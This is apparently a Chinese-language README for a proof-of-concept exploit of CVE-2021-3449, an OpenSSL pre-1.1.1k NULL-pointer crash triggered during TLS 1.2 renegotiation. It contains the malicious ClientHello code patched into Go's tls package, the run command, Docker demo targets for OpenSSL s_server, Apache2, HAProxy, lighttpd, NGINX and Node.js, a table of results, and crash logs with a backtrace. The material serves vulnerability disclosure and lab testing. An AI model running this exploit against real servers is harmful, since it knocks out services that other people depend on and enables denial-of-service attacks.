用法:go run . -host hostname:port
该程序实现了 CVE-2021-3449 的概念验证利用代码, 影响 OpenSSL 服务器版本在 1.1.1k 之前且接受 TLSv1.2 安全重新协商的情况。
它连接到一个 TLSv1.2 服务器,并立即发起 RFC 5746 "安全重新协商"。
攻击涉及一个恶意构造的 ClientHello,通过导致空指针解引用来使服务器崩溃(拒绝服务)。
该问题于 2021 年 3 月 17 日由诺基亚报告给 OpenSSL。修复由 Peter Kästle 和 Samuel Sapalski(诺基亚)开发。
已知的唯一修复方法是更新 libssl1.1。
即使某些应用默认使用强化 TLS 配置禁用了 TLS 重新协商, 如果它们运行在旧版 OpenSSL 上,仍然会受到此漏洞的影响。
main.go 是一个小巧的脚本,它连接到一个 TLS 服务器,强制重新协商,然后断开连接。
利用代码被注入到 Go 1.14.15 捆绑的 encoding/tls 包中。
你可以在 handshake_client.go:115 找到它。逻辑不言自明。
// CVE-2021-3449 exploit code.
if hello.vers >= VersionTLS12 {
if c.handshakes == 0 {
println("sending initial ClientHello")
hello.supportedSignatureAlgorithms = supportedSignatureAlgorithms
} else {
// OpenSSL pre-1.1.1k runs into a NULL-pointer dereference
// if the supported_signature_algorithms extension is omitted,
// but supported_signature_algorithms_cert is present.
println("sending malicious ClientHello")
hello.supportedSignatureAlgorithmsCert = supportedSignatureAlgorithms
}
}
– @terorie
demo/ 目录包含用于为各种应用程序打上易受攻击 OpenSSL 版本的配置。
测试设置:
要求:
build-essential(Perl, GCC, Make)注意:下列 Web 服务器如果使用 OpenSSL 1.1.1k 或更高版本,均不受 CVE-2021-3449 影响。
| 服务器 | 发行版 | 版本 | 演示命令 | 结果 |
|---|---|---|---|---|
| OpenSSL s_server | - | 1.1.1j | make demo-openssl | 崩溃 |
| Apache2 | Ubuntu 18.04 | 2.4.29 | make demo-apache2 | 部分崩溃 |
| HAProxy | Ubuntu 18.04 | 1.8.8 | make demo-haproxy | 崩溃 |
| HAProxy | Ubuntu 20.04 | 2.0.13 | make demo-haproxy | 无影响 |
| lighttpd | Ubuntu 18.04 | 1.4.55 | make demo-lighttpd | 崩溃 |
| lighttpd | Ubuntu 20.04 | 1.4.55 | make demo-lighttpd | 崩溃 |
| lighttpd | Ubuntu 21.04 | 1.4.59 | make demo-lighttpd | 无影响(使用配置选项) |
| NGINX | Ubuntu 18.04 | 1.14.0 | make demo-nginx | 部分崩溃 |
| NGINX | Ubuntu 20.04 | 1.18.0 | make demo-nginx | 无影响 |
| Node.js <=12 | Ubuntu 18.04 | 无影响 | ||
| Node.js >12 | Ubuntu 18.04 | ? | make demo-nodejs | 崩溃 |
| Node.js >12 | Ubuntu 18.04 | 15.14.0 | make demo-nodejs | 无影响 |
要清理所有演示资源,请运行 make clean。
openssl s_server 是最小化的 TLS 服务器实现。
make demo-openssl:完整运行(端口 4433)make -C demo build-openssl:构建目标 Docker 镜像make -C demo start-openssl:启动目标(端口 4433)make -C demo stop-openssl:停止目标结果:服务器完全崩溃。
日志
docker run -d -it --name cve-2021-3449-openssl --network host local/cve-2021-3449/openssl
a16c44f98a37b7e0c0777d3bd66456203de129fd23566d2141ef2bec9777be17
docker logs -f cve-2021-3449-openssl &
sleep 2
warning: Error disabling address space randomization: Operation not permitted
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
Using default temp DH parameters
ACCEPT
sending initial ClientHello
connected
sending malicious ClientHello
[[truncated]]
Program received signal SIGSEGV, Segmentation fault.
0x00007f668bd89283 in tls12_shared_sigalgs () from /usr/lib/x86_64-linux-gnu/libssl.so.1.1
#0 0x00007f668bd89283 in tls12_shared_sigalgs () from /usr/lib/x86_64-linux-gnu/libssl.so.1.1
#1 0x00007f668bd893cd in tls1_set_shared_sigalgs () from /usr/lib/x86_64-linux-gnu/libssl.so.1.1
#2 0x00007f668bd89fe3 in tls1_process_sigalgs () from /usr/lib/x86_64-linux-gnu/libssl.so.1.1
#3 0x00007f668bd8a110 in tls1_set_server_sigalgs () from /usr/lib/x86_64-linux-gnu/libssl.so.1.1
#4 0x00007f668bd824a2 in tls_early_post_process_client_hello () from /usr/lib/x86_64-linux-gnu/libssl.so.1.1
#5 0x00007f668bd84d55 in tls_post_process_client_hello () from /usr/lib/x86_64-linux-gnu/libssl.so.1.1
#6 0x00007f668bd8522f in ossl_statem_server_post_process_message () from /usr/lib/x86_64-linux-gnu/libssl.so.1.1
#7 0x00007f668bd710e1 in read_state_machine () from /usr/lib/x86_64-linux-gnu/libssl.so.1.1
#8 0x00007f668bd7199d in state_machine () from /usr/lib/x86_64-linux-gnu/libssl.so.1.1
#9 0x00007f668bd71c4e in ossl_statem_accept () from /usr/lib/x86_64-linux-gnu/libssl.so.1.1
#10 0x00007f668bd493ab in ssl3_read_bytes () from /usr/lib/x86_64-linux-gnu/libssl.so.1.1
#11 0x00007f668bd504ec in ssl3_read_internal () from /usr/lib/x86_64-linux-gnu/libssl.so.1.1
#12 0x00007f668bd50595 in ssl3_read () from /usr/lib/x86_64-linux-gnu/libssl.so.1.1
#13 0x00007f668bd5ae5c in ssl_read_internal () from /usr/lib/x86_64-linux-gnu/libssl.so.1.1
#14 0x00007f668bd5af5b in SSL_read () from /usr/lib/x86_64-linux-gnu/libssl.so.1.1
#15 0x000055aa5a10f209 in sv_body ()
#16 0x000055aa5a1302ec in do_server ()
#17 0x000055aa5a114815 in s_server_main ()
#18 0x000055aa5a0f9395 in do_cmd ()
#19 0x000055aa5a0f9ee1 in main ()
malicious handshake failed, exploit might have worked
Apache2 httpd Web 服务器使用默认配置容易受到攻击。
make demo-apache:完整运行(端口 443)make -C demo build-apache:构建目标 Docker 镜像make -C demo start-apache:启动目标(端口 443)make -C demo stop-apache:停止目标感谢 @binarytrails 的贡献。
结果:部分中断,主进程仍然存活但工作进程崩溃。
日志
docker run -d -it --name cve-2021-3449-apache2 --network host local/cve-2021-3449/apache2
0bf38dd8ab721f0ae3713448d2a28050b6e7d11fa7e3174b6ec9b1bbcfa124c8
docker logs -f cve-2021-3449-apache2 &
[[truncated]]
sending initial ClientHello
connected
sending malicious ClientHello
[Sat Mar 27 02:54:38.153327 2021] [ssl:info] [pid 21:tid 140433175750400] [client 127.0.0.1:46846] AH01964: Connection to child 64 established (server localhost:443)
[Sat Mar 27 02:54:38.153619 2021] [ssl:debug] [pid 21:tid 140433175750400] ssl_engine_kernel.c(2317): [client 127.0.0.1:46846] AH02043: SSL virtual host for servername localhost found
[Sat Mar 27 02:54:38.155697 2021] [ssl:debug] [pid 21:tid 140433175750400] ssl_engine_kernel.c(2233): [client 127.0.0.1:46846] AH02041: Protocol: TLSv1.2, Cipher: ECDHE-RSA-CHACHA20-POLY1305 (256/256 bits)
[Sat Mar 27 02:54:38.155781 2021] [ssl:error] [pid 21:tid 140433175750400] [client 127.0.0.1:46846] AH02042: rejecting client initiated renegotiation
[Sat Mar 27 02:54:38.155837 2021] [ssl:debug] [pid 21:tid 140433175750400] ssl_engine_kernel.c(2317): [client 127.0.0.1:46846] AH02043: SSL virtual host for servername localhost found
malicious handshake failed, exploit might have worked: EOF
[Sat Mar 27 02:54:39.183129 2021] [core:notice] [pid 19:tid 140433267538880] AH00051: child pid 21 exit signal Segmentation fault (11), possible coredump in /etc/apache2
HAProxy 2.0.13 及更高版本不受影响。
至少 1.8.8 之前的版本在 "intermediate" TLS 配置下容易受到攻击。
make demo-haproxy:完整运行(端口 4433)make -C demo build-haproxy:构建目标 Docker 镜像make -C demo start-haproxy:启动目标(端口 4433)make -C demo stop-haproxy:停止目标